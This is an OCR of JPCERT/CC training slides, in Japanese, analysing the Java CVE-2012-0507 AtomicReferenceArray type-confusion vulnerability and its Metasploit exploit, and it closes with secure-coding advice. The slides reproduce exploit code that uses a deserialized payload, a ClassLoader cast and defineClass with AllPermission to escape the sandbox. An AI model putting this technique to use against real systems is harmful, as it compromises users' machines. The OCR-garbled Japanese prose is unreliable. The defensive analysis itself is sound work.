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Oracle Java EE#S512J 35U
AtomicReferenceArray IS5 XICHITSD
FIVUTPSA XICEAYT BHessTE

CVE-2012-0507
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CVE-2012-0507 1it=

- AtomicReferenceArray 75X (IS U P SA X0JHE/R T
SRAEUVUTERSINTLD, LML, 2UT7SARXT—
A DT (SEY)IREEZEITD TLVRM D .

c AT UV SARXT—A%ETTSEDIEICED,
ClassLoader 2S5 ADY T OIS ADA >R > A =E4ER
SBEBCENTE. B RNV IIXANATEITINTLD

J

ava)’ L v S IEBDITSADEDA AT A%
U CH RIRYOIRDOATEITSEDRZ ENTIEE(C

IRDTCUFED>TLY,
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Java 7L v hEEDOIZRE

e 7 TLw 5, B RNV IOIXDHIEZ X TIEED
AN > R7ZZELT
< Bl Runtime::exec XVvw RZ{FE>TCOSONY> RZEFEIT

® FFEDPCZE HOEISNBDEIEEMEN D D,

(FTLw MNIH— ) \((SEEROMN D SP>TL S
EFETERVI—R
PC_LEDT 71 LS AXIEERRE S L \DER NS B

\_ J
-
- ) -
Ol % — . L
v £ o e
Y
HIsn= .
FIRE FTLY kb BEHEY—N
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WERADHRR

T

WebD S OHY FTEITE=NBD 77T L v s
ClassLoader Z{E> CT7 O RHERICHIFEDDH
TRUVVARRED T S X7 FEpk LTz LY

(java J— RZEETUIZW)...

(G
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ClasslLoader & defineClass XYW R

B ClassLoader 75 XM defineClass XYW R&E{ES &5
JEIRDOSAZEETCTED.

protected final Class<?> defineClass(String name, byte[] b,
Int off, int len, ProtectionDomain protectionDomain)

name ---- S5 AD)\ 1A F %

b - DS RFT—HZER T D byte 7—4

off - OSRXFT—HFHD b DILIRAIE

len - OSRXAFT—HDRSE

protectionDomain ---- D7 = _AD ProtectionDomain

6 Copyright©2014 JPCERT/CC All rights reserved. J P CER’F CC 4


http://docs.oracle.com/javase/jp/6/api/java/lang/Class.html
http://docs.oracle.com/javase/jp/6/api/java/lang/String.html
http://docs.oracle.com/javase/jp/6/api/java/security/ProtectionDomain.html

defineClass XYY RODO{ERHI

class Help extends ClassLoader {

ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buffer = new byte[8192];

buffer = bos.toByteArray();
URL url = new URL( "file:/lI");
Certificate[] certs = new Certificate[O];
Permissions perm = new Permissions();
perm.add( new AllPermission() );
ProtectionDomain pd =
new ProtectionDomain( new CodeSource( url, certs ), perm );
cls = defineClass(className, buffer, O, buffer.length, pd );
Class class_cls = cls.getClass();

7 ‘ Copyright©2014 JPCERT/CC All rights reserved. JP CERT CC®



defineClass XYY RODO{ERHI

class Help extends ClassLoader {

ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buffer = new byte[8192]; — RpE,

“file:/ll” (FETCHO—HILT 7
TIVeEKT D.

S AT LAV —=ZANDT I RIE.
“AllPermission()” (I&TDHI7 ot
AIEDFFR]ZBR T D (FiHHLD,
EE1AH, E17)

buffer = bos.toByteArray();
URL url = new URL( "file:/ll");
Certificate[] certs = new Certificate[0];
Permissions perm = new Permissions();
perm.add( new AllPermission() );
ProtectionDomain pd =

new ProtectionDomain( new CodeSource( url, certs ), perm );
cls = defineClass(className, [butter,| O, buffer.length, pd );/
Class class_cls = cls.getClass();

EENDIISA(EECOO-HILIT7A
WS U TETOT7 IR ENHFBISND
(EBrHHLD, EEAF, E17)

JPCERT CC°®

| OSRF—5%EHT B) 1 b5 -5 |
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defineClass XYY R&ELVZLN...

M ClassLoader (3HRIS X
—‘new” CA A RAZER TSR
B defineClass (& protected XYV w R
— OIS ZMNBMSIFUOH T Z E(ETERRN

v

IQEE (C{FS(C(EClassLoader M
HIOOSIAMNWE. ..
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WER7I LY b
B ClassLoader D1 > X > X=E{ED =0

ClassLoader cl = new ClassLoader();

TCIassLoader (FHZRT S AIRXDT

T

B BI(CF1E9 D ClassLoader D > AF > R%ZTwY KT D
ClassLoader cl = getClass().getClassLoader(); Q”OWD

bb\b--. \
defineClass (& protected XYW FIQDT
D5 MBSO T C E(FTER0N

prohibited

new 9 3 E(ETER0N

J

7&/\1(‘.’.73\ ClassLoader DY J OS5 X%
/ 5 C%Td\(/\b\o

10 Copyright©2014 JPCERT/CC All rights reserved. J P CERT CC 4



KERT7TL Y DR ) e
Z

B ClassLoader DY OSAETFEHEZUTA > RAIR
VEo 1252

public class Help extends ClassLoader() { ... } prohibited
Help ahelp = new Help();

' Runtime Exception ]( 5> RO IATIE
| | #IRENTNS

[CIassLoader DA RAAIABBE YT OS5 ADA > J

AR EUTIRATIRVNDY?
B ClassLoader DA A R=EHYTOSAD T« —I)LR

([CHRAA?

Help ahelp = (Help)getClass().getClassLoader();

' Runtime Exception ] CDRDIBRABRIELSEE(TL
‘ BREZIEENTWS

11 Copyright©2014 JPCERT/CC All rights reserved. J P CERT CC 4



Type Confusion Vulnerability

Type confusion DREFFIEICKID. SELNILTE
SN TCTUVLEETORAREZIT DS ENTED!

Help ahelp;= (Help)getClass().getClassLoader();

BE. T IS ZIADRA )
(BH:'U‘ AT KD _le
SN TWDd

atomicreferencearray.set(0, classloader);
TAtomicReferenceArray 7= A& type confusion DIEESHE )

MEFEELU. set XAVY RICKDTAREREIFZTNTWLDIET D
KRABRIEZITD CENBIRE(CIR D TUED TLDB

J

12 Copyright©2014 JPCERT/CC All rights reserved. JPCER’T CC 4



AtomicReferenceArray 35X

M java.util.concurrent.atomic /\w o —Z(CYNHSNTUN
%)

B [ EBEXRZEFNICERFRRIGERAT 1T NSBORLSIT
9, | JavaSEAPI UTJ7L>RAKD)

B SU7S51XaJHE
B JRE® readObject XYW RIEHEFD TLVRL)

13 Copyright©2014 JPCERT/CC All rights reserved. J P CERT CC 4



AtomicReferenceArray DY —X1—R

AtomicReferenceArray.java S 7S RS X

import sun.misc.Unsafe; /

public class AtomicReferenceArray<E>|implements java.io.Serializable {
private static final Unsafe unsafe = Unsafe.getUnsafe();

rivate final Object[] array; set XV RTEONDIAT
oI ject(] array ty MEstE

private long checkedByteOffset(int 1) {
return (...calculating offset and boundary check ...);

} O

public final void set(int i, E newValue) {
unsafe.putObjectVolatile(array, checkedByteOffset(i), newValue);

}

A ¥

\ array [C newValue
ZEZIAD

14 Copyright©2014 JPCERT/CC All rights reserved. J P CERT CC S




AtomicReferenceArray DY —X1—R

unsafe.putObjectVolatile(Object o, long offset, Object x)

SIHOEHIBENIREDTHDCEZFITVIETIIC
X DIE%Z 0 [CEZIAD.

public final void set(int i, E/hewValue) {
unsafe.[putObjectVoIatile ‘array, checkedByteOffset(i), newValue);

}

\ array [C newValue
ZEZIAD

15 Copyright©2014 JPCERT/CC All rights reserved. J P CERT CC 4



http://www.docjar.com/docs/api/sun/misc/Unsafe.html
http://www.docjar.com/docs/api/sun/misc/Unsafe.html
http://www.docjar.com/docs/api/sun/misc/Unsafe.html

Exploit Code for CVE-2012-0507 @o

Metasploit DEZ 1 —)UICHBDWET— RENR—XI(CE
BALUZE Y,

http://www.rapid7.com/db/modules/exploit/multi/browser/java atomicreferencearray

Exploit code

® Exploit class A
(AppletH T IS5 ) __| JREARHEAPI
\ ® AtomicReferenceArray 75X ]
( N\
® Help class r — )
(ClassLoaderddt 75 X) ® Unsafe 75X
1 (AtomicReferenceArray classmh5
IFUEHEND)
L J - g
\§ J

JPCERT CC°®

16 ‘ Copyright©2014 JPCERT/CC All rights reserved.


http://www.rapid7.com/db/modules/exploit/multi/browser/java_atomicreferencearray

Exploit Code for CVE-2012-0507 @o

Exploit.java

public class Exploit extends Applet {
public static byte[] StringToBytes(String s) { return (converts s to byte data); }
public void init() {

String as[] ={
“ACED0005757200135B4C6A6176612E6C616E672E4F62”, (16 ERENTZS U 7S A XF—4...)
3

StringBuilder stringbuilder = new StringBuilder();
for(inti=0; i < as.length; i++) stringbuilder.append(asi]);

ObjectinputStream objectinputstream =
new ObjectinputStream(new ByteArraylnputStream(StringToBytes(stringbuilder.toString())));

Object aobj[] = (Object[])objectinputstream.readObject();

Help ahelp[] = (Help[])aobj[0];
AtomicReferenceArray atomicreferencearray = (AtomicReferenceArray)aobj[1];

ClassLoader classloader = getClass().getClassLoader();
atomicreferencearray.set(0, classloader);

Help _tmp = ahelp[0];

Help.doWork(ahelp[0], this, ...):

JPCERT CC°®

Copyright©2014 JPCERT/CC All rights reserved.
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Exploit Code for CVE-2012-0507 @O

Exploit.java

— S PS4 RT — 5 DREHEE D
Object aobj[]
— aohj[0] =1 Help[] ahelp[] J@ssssmemrsmmmassmssssssnssnnaneeacs \ w
—{ aobj[1] f*1| AtomicReferenceArray atomicreferencearray \ array Z#& ahelp Z&18 9
M . . i [BLISCHI=NTLS
pnvate Object [l array .......................... )

|

_

Object aobj[] = (Object[])objectinputstream.readObject();

Help ahelp[] = (Help[])aobj[0];

AtomicReferenceArray atomicreferencearray = (AtomicReferenceArray)aobj[1];

Copyright©2014 JPCERT/CC All rights reserved.
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Exploit Code for CVE-2012-0507 @3

M array ZZ83 ahelp Z&2lB 93D (CHITIEN
_LYD

B array NDORARIE(L ahelp ADRAETRD,
ahelp ZIBU CESRTEDLDICIRD

53

Object aobij[]
' )
—{ aobj[0] + Help[] ahelp]] k .......................................... .
— aobj[1] 1| AtomicReferenceArray atomicreferencearray
M prlvate Object[larray -------------------------- 3
~ Y

BED Java D 1— RSB IECDOLD
IRARIEIRT —AIBEIE DK BSH7R0)N
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Exploit Code for CVE-2012-0507 @3

Exploit.java
ya
( Object aobj[]
01 bl HeEloM Ghelol] Jeersssseeeesssssesssssssessessasneeneses )
—| aobj[0] |1 Help[] ahelp[] k ...................... .
— aobj[1] 1| AtomicReferenceArray atomicreferencearray
M private Object [] array =~ frrrssssesssssrrmsnmasseees C‘I\aSSIOader 7|'j‘:/“17 I\
< Mt array[0] (CIRASNB,
(] Z 1 ahelp[0] NDKAN
ClassLoader

~

1T cC &R
ThnizC&ICiid /

ClassLoader classloader = getClass().getClassLoader();
atomicreferencearray.set(0, classloader);

20
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Exploit Code for CVE-2012-0507 @3

Exploit.java

Help (& ClassLoader BT 25X

Help.java

public class Help|extends ClassLoader|implements Serializable {
public static void doWork(Help h, Exploit expl,
String data, String jar, String Ihost, int Iport) {

Class cls = null;

cls = h.defineClass( ...);

' Help (& ClassLoader BT OS5 X7i2MDT
} defineClass XVvw RZIFUNH T Z &NV e]EE

21

Help tmp = ahelp[0];

Hélp.doWork(aheIp[O], this, ...);

Copyright©2014 JPCERT/CC All rights reserved. J P CER’F CC >




Exploit Code for CVE-2012-0507 @3

HelpZ = A (doWork XYV v R)IMEEDIERZF D/
DS AZEWRTEDS.

Help.java

public class Help extends ClassLoader implements Serializable {
public static void doWork(Help h, Exploit expl, String data, String jar, String lhost, int Iport) {

ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buffer = new byte[8192];
InputStream is = expl.getClass().getResourceAsStream(“directory path to create”);
while( ( length = is.read( buffer)) >0)
bos.write( buffer, 0, length );
buffer = bos.toByteArray();

URL url = new URL( "file:/lI");

Certificate[] certs = new Certificate[0];

Permissions perm = new Permissions();

perm.add( new AllPermission() );

ProtectionDomain pd = new ProtectionDomain( new CodeSource( url, certs ), perm );
cls = h.defineClass( classNamesJ[index], buffer, 0, buffer.length, pd );

Class class_cls = cls.getClass();

}
}

22 ‘ Copyright©2014 JPCERT/CC All rights reserved. JPCER’F CC 4




Exploit Code for CVE-2012-0507 @o

HelpZ = A (doWork XYV w R)IMEEDIEREZIF o 1o
DS AZEWRTEDS.

Help.java

public class Help extends ClassLoader implements Serializable {
public static void doWork(Help h, Exploit expl, String data, String jar, String lhost, int Iport) {

' ERT DT SAD
ByteArrayOutputStream bos = new ByteArrayOutputStream(); Nt RZ R —AF—4

InputStream is = expl.getClass().getResourceAsStream(“directory path to create”);

while( ( length = is.read( buffer))>0) m—
bos.write( buffer, 0, length ); 11— MIE.

buffer = bos.toByteArray(): “file:/II” (HMEEOO—-HILID 7A)LZEKT.

Certiicatl] perts = new Certhcatelol SATLVI_ANDTICRME.
: “AllPermission()” (£ TDT7 I AHEDFA]

Permissions perm = new Permissions(); = =t S /=
I Bt S3A

ProtectionDomain pd = new ProtectionDomain( new CodeSource( url, certs ), perm);
cls = h.defineClass( classNamesJ[index], buffer, O, buffer.length, pd );
Class class_cls = cls.getClass();

) ' EEINBIISIFETcoad—HILI7A
) JLICHH U CTETOTIRIENHTFII NS
| (Fi#ERD, EEAF, RAT)

JPCERT CC°®
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Exploit Code for CVE-2012-0507 @o

Malicious Web Site

Ao>O—R

JVM
/ H> RV IR

Help
|

ClassLoader

~

( , ) | e
Exploit C C CIETTAENMTHON TS J
\; /.

J

defineClass()

& Attacking class

&

Help 5 X(EFHB> RRw OX
(CKDFIRDSMNSTRNT SR
O BDTENTED

Y
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ES U TZDXRIBRWEDAIREICIRD T2 DH?

Unsafe 7= X

B Unsafe S X (IEFETETDITANS UNMERIRVVEE (PO
Lch' T — bO—FHBERDISATHDICEZFITIVITILDIC
T&DTLYD).

B putObjectVolatile XYV v R(FFIHDEN—KITDEEZ2F VD
UIdWEFRIE—BEZITDOTULD.

AtomicReferenceArray 7> X

B ANEFT Unsafe S5 A Z{FED>TULD

B S UV7SAXAIEERIT S A THBDN . readObject XVw RZEMB(C
EHELUTWRW (T IAI SOETIETIES U7 SAXT—FD
FREE(SATHOIIEWY)

B AtomicReferenceArray S5 XD U TP SAXFT— =859 DI
BICHBWCT, iU —9%2ESZAFEBR &N TR

25 Copyright©2014 JPCERT/CC All rights reserved. J P CER’F CC 4



EDXRDICIEIEUT=DH\?
C ORFE(ZIDK 7u3 TIEIE SN/,

B AtomicReferenceArray 27> ADIETAIET A JMBAREE
ZITDLDICUTE
—OEZWﬁB(;EﬁD TW\B array 7+ —J)L RHECFHIBI TR
. 1BoIR(IRITBLDICUIE
m ?E%OD readObject XVw RzZzHEU. array 7« —J)L
RO Object BEdZESHEIT I IKDICUIE

S U7 SAXFT—FHD array T—FH Object BLHI TR
BRI Object Btdll & LCIE—9 3
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EDKSICEELIEDH?

AtomicReferenceArray.java ({E1EhR)

public class AtomicReferenceArray<E> implements
java.io.Serializable {

private void readObject(java.io.ObjectinputStream s)
throws java.io.lOException, ClassNotFoundException {

readObject XV v RZENMUL. 12t
NEZ DRI X

27 Copyright©2014 JPCERT/CC All rights reserved. J P CERT CC 4



AtomicReferenceArray::.readObject

AtomicReferenceArray.java ({E1EhR)

. . array J - —J)LEDZ U7
public class AtomicReferenceArray<ge> SAXF—HEEIHAH

Implements java.io.Serializable {

BCHIE TR D25
fligte A0—

private void readObject(java.io.ObjectinputStream s)
throws java.io.lOException, ClassNotFoundExezeption {

Object a = s.readFields().get("array", null);
If (a == null || 'a.getClass().isArray())
throw new java.io.InvalidObjectException("Not array type");
If (a.getClass() != Object[].class)
a = Arrays.copyOf((Object[])a, Array.getLength(a), Object[].class);
unsafe.putObjectVolatile(this, arrayFieldOffset, a);

} 9')754’152—09
array J«—JLRICOE— ZhRcSlELCOE—

28 Copyright©2014 JPCERT/CC All rights reserved. JPCER’T CC 4




AtomicReferenceArray::.readObject

AtomicReferenceArray.java ({E1EhR)

public class AtomicReferenceArray<E>
iImplements java.ia.Serializable {

SUTSART—5 _aray 77 BRAIB TR D 125
otz A O —
AtomicReferenceArray M S)
Object | Object | Object ]
M private Object [] array [0] [1] xceptlon {

lelds().
If (a == null || la.getClass(). |sArray())

throw new java.io.lnvalidObjectException("Not array type");
If (a.getClass() '= Object[].class)

a = Arrays.copyOf((Object[])a, Array.getLength(a), Object[].class);
unsafe.putObjectVolatile(this, arrayFieldOffset, a);

JPCERT CC°®
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AtomicReferenceArray::.readObject

AtomicReferenceArray.java ({E1EAR)

EULYarray —%4
7 \

S 7S5AR5—4 TN/ array 7 —%4

AtomicReferenceArray

Object | Object | Object
o] | [ | [2] :
- » J

Help

[1]

Help
[O]

Help

M private Object [] array [2]

If (a.getClass() != Object[].class)
a = Arrays.copyOf((Object[])a, Array.getLength(a), Object[].class);

4 N

\

Object BCHIBLTRLT

. . ) NIIERFHIEY (CObject
Help | Help | Help Object | Object | Object . A5 R (- — g 3

o] | 11 | 2 o] | [ | [2

K%EHIZ—SZ’LT: array 5 —% EUWEID array T —%4 K
30 ‘ Copyright©2014 JPCERT/CC All rights reserved. JP CERT CC®




AtomicReferenceArray::.readObject

AtomicReferenceArray.java ({E1EhR)

arrayFieldOffset (&
205 AFJERMBIRF(C
static { array - —JLE®D
int scale; F 7ty MECHIEA
try { Atéﬂ%
unsafe = Unsafe.getUnsafe(); J

arrayFieldOffset = unsafe.objectFieldOffset
(AtomicReferenceArray.class.getDeclaredField("array"));
base = unsafe.arrayBaseOffset(Object[].class);
scale = unsafe.arraylndexScale(Object[].class);

;

unsafe.putObjectVolatile(this, farrayFieldOffset) a);

array J«—J)LRICOE—

31 Copyright©2014 JPCERT/CC All rights reserved. JPCER’T CC 4




BIEMTIEREZZITDIELEDSRRD?

Object aobj[]

aobj[0] Help[] ahelp]]

SUTSAXT— SN

aobj[1] AtomicReferenceArray atomicreferencearray Object BEFIELTRVNGE

SRFIEY (C Object BLHIEY(C
JE—=n3s

BLV7OTERTDE
NullPointerException M XO—aN3B.

Help
[1]

Help
[2]

Help

TDFEER. ahelp[0] DB null (72D,
[0]

; :  Arrays.copyOf(...)
v v v )

- }...| Object | Object [ Object | | * array 7+ —)L RGO E—=N7zEes!
—— ol | w | @ [) - #SBLUTL\S. ahelp EFBIDED,

ﬁ - » J

32 ‘ Copyright©2014 JPCERT/CC All rights reserved.
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= el

B {[oH\REEETZ D TehY?
o B URTEYIRAIMBEAREENI TN TULRM D I
s RERD T« =)L RHEB LTV T—FH
ObjectlicF| i T D Z & DIESR
B RER
- S UTP7SAXAIEEIR IS ATIE, HB®D
readObject XVw REEEL, U7 SAXF7—5
MEEBEDDEDTHDE EZIREEINRE
- Unsafe S ADAYVY ROEIZIEREEEED D
BHEDTHDC EZIRIEINE
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B18d7cC...

B FZ(CEZEUJE readObject XYV w ROYIBARE (S
AtomicReferenceArray 7= A DANBPHEIS (CHKTF

B AtomicReferenceArray > ADOABMEEZZEE T D E
=(C(E readObject XV RDALIEEZN(ITIG U CEE
IDINEDD
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Java®F a1 7A—F 12D RIHH—R

B SER07-). BRLEMKEBERDBDAFREEHANSBIBAICIET
AL DS VUTSA IR EEDIRU

B https://www.|pcert.or.jp/|ava-rules/serQ7-|.html

Copyright©2014 JPCERT/CC All rights reserved.

— SN

f A1 SER07-1. RE LHEEL-

cwB ¥ A O

(‘ @& Japan Computer Emergency -+ (JP)

JPCERT

jpcert.orjp/java-ru

Ze2 LR THE0kDHO, BA-EREEEZET 5

JPCERTaI—FA%—Lavtuia— = Bfveht = 1RAKE = 7727 = Engish
[ . B RATRE RN (RSS | U5 U=1) BHTTRS BT/ L
Aome > Z—=1 8 > BHAFI—F Y > dava TP AT LS ALE —F 13 2P S X (SER) ELEEL 7O SRS BER]

5] SER07-J. RE FRBELELGIFEEHNHIFEICIETIAN DLV T I XK & D

WA=} A=

LTS NE LA PO FEANERRET 2B EICERTE 2, £, 77V PO ERE A7V 0 O BELESORIFTE S, TORO, A70c 0 DHEHRIC
HOTHRFSNEREFFEEMFIFF/ 0 DERICHE D TOHFENGIT N0 UL, F 2100 0TSRRI T2 0 FESFFEEHT 2 MEEF- T
Ly, B, FEERREFDIZRCL, T2 O S AFEHEF TIEES%,

FFo OO ETBETI, 2 SPAEFE B FICOS2D LR F 2D FBESNS, T, VA S8I0L2 ANBEIDEOEN TLES, #5310, transient E5 1
static BESSN/LT4—ILE 12, VTS ADARESNAO o, D BT ETSN0 . L EOZEDS, transient EE T static ESFN T — L ER: TL 2052, O
A SOITED WIEEIT- T3 03213, FIFOEEINIEE, 40V 0 FEnT 2eF I0ITh 3T nIEasgly,

WAL FVa O SR T AP T2 D EICE - T, TF VO QRS S0 SRS NI RIFRG EEICIRE- TV R IE. HLU tansent BS 1 static TSIz 70—
JLEDTF T30 D tF a2 LB T8 JEFEITE S, UL, final EESNERIEEH- TLA 70— ILF I, ExSnizig 72720 O ETI3S OB EEEESN
Do foEAIE private transient final n = 42 IZHLT, ERSINDRO o OfEF 0 T3 42 TED, COLIET -2 LATRT AT, FFV20 OETRICIIT 77
Ik B R ES NS,

FERI—F Tk

LIFOBRI-F RO I 05213, T30k QLTI IR FEF THY, BR LB FER SRS TI T [Bloch 20051, T D7z,
Fld, FETARETHL 2200V A AERERT BN TE L, COTIREFERMICT R0, D3RI £ v T« 7T -8 N TWELWEEET 5.

public class NumberData extends Number {
// ...Number.doubleValue () D& 37 Number BITH T A A U w FEFEET S

private static final NumberData INSTANCE = new NumberData ();
public static NumberData getInstance() {

return INSTANCE;

private NumberData() {

et = R I Ry S

JPCERT CC°®
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